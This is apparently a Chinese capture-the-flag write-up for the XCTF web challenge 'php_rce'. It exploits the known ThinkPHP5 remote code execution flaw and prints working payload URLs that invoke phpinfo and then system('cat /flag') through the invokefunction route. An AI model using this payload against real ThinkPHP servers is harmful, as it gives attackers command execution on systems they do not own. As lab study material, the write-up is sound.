攻防世界-Web-php_rce

0x01

打开题目,很明显是ThinkPHP5框架,这里就联想到ThinkPHP5的著名漏洞,再加上题目中的RCE(远程代码执行)解题思路基本就有了。

关于ThinkPHP5的这个漏洞,可以参考:ThinkPHP5 RCE漏洞重现及分析

0x02

使用payload验证一下漏洞:
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
攻防世界-Web-php_rce_第1张图片接下来需要修改URL中红圈内的两个参数来控制代码的执行

0x03

首先使用system函数来执行系统命令ls列出本目录下的文件,payload如图
攻防世界-Web-php_rce_第2张图片
本目录没有发现可以文件,尝试其他目录,比如上级目录,home目录,最后在根目录下找到了falg文件
攻防世界-Web-php_rce_第3张图片

0x04

构造payload,读取flag文件:
http://220.249.52.133:34398/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
攻防世界-Web-php_rce_第4张图片

你可能感兴趣的:(WriteUp,安全,thinkphp)